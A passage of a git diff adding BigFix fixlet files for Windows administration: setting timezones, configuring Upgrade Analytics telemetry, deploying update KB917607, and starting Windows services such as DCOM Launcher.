+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>China Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Irkutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia East Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Kuala Lumpur, Singapore<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Singapore Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Perth<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Taipei<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Taipei Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Ulaanbaatar<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ulaanbaatar Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Osaka, Sapporo, Tokyo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tokyo Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Seoul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Korea Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:00) Yakutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Yakutsk Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Adelaide<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Cen. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+09:30) Darwin<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Central Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Brisbane<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Canberra, Melbourne, Sydney<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>AUS Eastern Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Guam, Port Moresby<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Hobart<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tasmania Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+10:00) Vladivostok<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Vladivostok Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Magadan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Magadan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+11:00) Solomon Is., New Caledonia<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Pacific Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Auckland, Wellington<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>New Zealand Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Coordinated Universal Time+12<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>UTC+12</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+12:00) Fiji<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Fiji Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+13:00) Nuku'alofa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Tonga Standard Time</FONT></TD></TR></TBODY></TABLE></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>((name of it = &quot;Win2008R2&quot;) OR (name of it = &quot;Win7&quot;) OR (name of it = &quot;Win8&quot;) OR (name of it = &quot;Win2012&quot;)) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-10-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Oct 2013 20:19:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Eastern Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Eastern Standard Time&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action2868">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to custom timezone.</Link>
+        <PostLink>&amp;nbsp;</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Timezone&quot; with description &quot;Please type the timezone that you&apos;d like to set. Use the list from the fixlet details.&quot;
+
+wait cmd.exe /C tzutil /s &quot;{parameter &quot;Timezone&quot; of action}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2869">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Central Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Central Standard Time&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2870">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Mountain Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Mountain Standard Time&quot;</ActionScript>
+    </Action>
+    <Action ID="Action2871">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Set to Pacific Time.</Link>
+        <PostLink></PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait cmd.exe /C tzutil /s &quot;Pacific Standard Time&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes b/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes
new file mode 100644
index 000000000..d3dc15ae0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows (21118).bes	
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows
+  ID       : 21118
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-07-27T11:18:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Set up collection of Windows telemetry data for Upgrade Analytics Preview - Windows</Title>
+    <Description><![CDATA[<P>You must set up Upgrade Analytics through Microsoft to get the required "CommerciaId"</P>
+<P>More info here: <A href="https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics">https://www.microsoft.com/en-us/WindowsForBusiness/upgrade-analytics</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists lines containing &quot;Script finished successfully&quot; of files whose(name of it as lowercase ends with &quot;.txt&quot; AND exists lines of it) of folders of folders &quot;Temp\UpgradeAnalytics\Logs&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 27 Jul 2016 18:16:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action parameter query &quot;CommerciaId&quot;
+
+prefetch UpgradeAnalytics.zip sha1:e4ec6b46379428209183f2e5fb872f18ebb78f55 size:53320712 https://download.microsoft.com/download/C/9/3/C9308EB7-26B7-4956-8BC4-1565FD62B8EA/UpgradeAnalytics.zip sha256:fbeedff147a6a9f42ca6146ef8b9979fc669a493b2957a4e13446214f4628d1d
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// ADD TO UTILITY CACHE (to use in multiple tasks)
+utility __Download\unzip.exe
+
+// EXTRACT using unzip
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;UpgradeAnalytics.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;temp&quot; of windows folder}&quot;
+
+
+delete __createfile
+createfile until _END_OF_FILE_
+@echo off
+@echo Running config batch
+cd {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}
+:: File share to store telemetry logs
+set logPath={pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs
+
+:: Commercial ID provided to you
+set commercialIDValue={parameter &quot;CommerciaId&quot;}
+
+:: By Default script logs to both console and log file.
+:: logMode == 0 log to console only
+:: logMode == 1 log to file and console
+:: logMode == 2 log to file only
+set logMode=1
+
+:: To run inventory scan in verbose mode change below value to $true
+set isVerboseLogging=$false
+
+:: To notify users with Pop-up messages about reboot - By default its false
+set isPopupMode=$false
+
+set source=%~dp0
+
+powershell -ExecutionPolicy unrestricted -Command &quot;dir %source%\*.ps1 | Unblock-File&quot;
+
+%source%Psexec.exe -accepteula -si powershell.exe -ExecutionPolicy Bypass -Command %source%ConfigScript.ps1 ^
+		-LogPath %logPath% ^
+		-FilePath %source% ^
+		-CommerciaIdInput %commercialIDValue% ^
+		-LogMode %logMode% ^
+		-VerboseLogging %isVerboseLogging% ^
+		-PopUpMode %isPopupMode%
+
+_END_OF_FILE_
+
+delete {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+move __createfile {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+
+waithidden {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\RunConfig.bat
+
+// waithidden powershell -ExecutionPolicy Bypass -Command {pathname of files &quot;ConfigScript.ps1&quot; of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -LogPath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders}\Logs -FilePath {pathname of folders &quot;Temp\UpgradeAnalytics&quot; of windows folders} -CommerciaIdInput {parameter &quot;CommerciaId&quot;} -LogMode 1 -VerboseLogging $true -PopUpMode $false
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes b/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes
new file mode 100644
index 000000000..c52525cc9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Software Distribution - Deploy_ Windows Update KB917607 - WinHlp32.exe (1364).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe
+  ID       : 1364
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-01-07T09:45:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Software Distribution - Deploy: Windows Update KB917607 - WinHlp32.exe</Title>
+    <Description><![CDATA[This task will deploy: Windows Update KB917607 - WinHlp32.exe<BR><BR>This task is applicable on: Windows 7 x64. ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>&quot;Win7&quot; = name of operating system</Relevance>
+    <Relevance>exists running service &quot;wuauserv&quot; OR NOT exists service &quot;wuauserv&quot; whose (start type of it = &quot;disabled&quot;)</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\UpdateDetect\KB917607&quot; of native registry</Relevance>
+    <Relevance><![CDATA[not exists file (parent folder of system folder as string & "\servicing\Packages\Microsoft-Windows-Winhelp-Update-Client~31bf3856ad364e35~amd64~~6.1.0.1.mum")]]></Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2011-07-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 07 Jan 2013 15:47:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[download http://download.microsoft.com/download/9/A/8/9A8FCFAA-78A0-49F5-8C8E-4EAE185F515C/Windows6.1-KB917607-x64.msu
+continue if {(size of it = 718172 AND sha1 of it = "69e765037fc3b620941d1c512068606694a4c307") of file "Windows6.1-KB917607-x64.msu" of folder "__Download"}
+// Is Windows Update service running?
+continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+wait {system folder as string & "\"}wusa.exe __Download\Windows6.1-KB917607-x64.msu /quiet /norestart]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes b/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes
new file mode 100644
index 000000000..643ff801d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start and Enable Windows Service (26632).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start and Enable Windows Service
+  ID       : 26632
+  Author   : AramE
+  Domain   : BESC
+  Imported : 2019-06-20T10:53:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start and Enable Windows Service</Title>
+    <Description>This task will start (and if necessary enable) a given Windows Service. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-06-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 14 Jun 2019 15:37:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Which service?
+action parameter query &quot;svcname&quot; with description &quot;Please enter the service name to start:&quot;
+
+// Is Service Disabled?
+if {start type of service (parameter &quot;svcname&quot; of action) = &quot;disabled&quot;}
+
+	// Enable service (set Start Type to Automatic)
+	waithidden cmd /C sc config {parameter &quot;svcname&quot; of action} start= auto
+
+endif
+
+// Start service
+waithidden cmd /C sc start {parameter &quot;svcname&quot; of action}</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes
new file mode 100644
index 000000000..c4a0e0b6c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the DCOM Launcher Service (9282).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the DCOM Launcher Service
+  ID       : 9282
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T05:52:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the DCOM Launcher Service</Title>
+    <Description><![CDATA[<P>Starts the DCOM Launcher Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;DcomLaunch&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:35:56 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start DcomLaunch</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes
new file mode 100644
index 000000000..ad1653637
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the RPC EndPoint Mapper Service (9283).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the RPC EndPoint Mapper Service
+  ID       : 9283
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:01:54
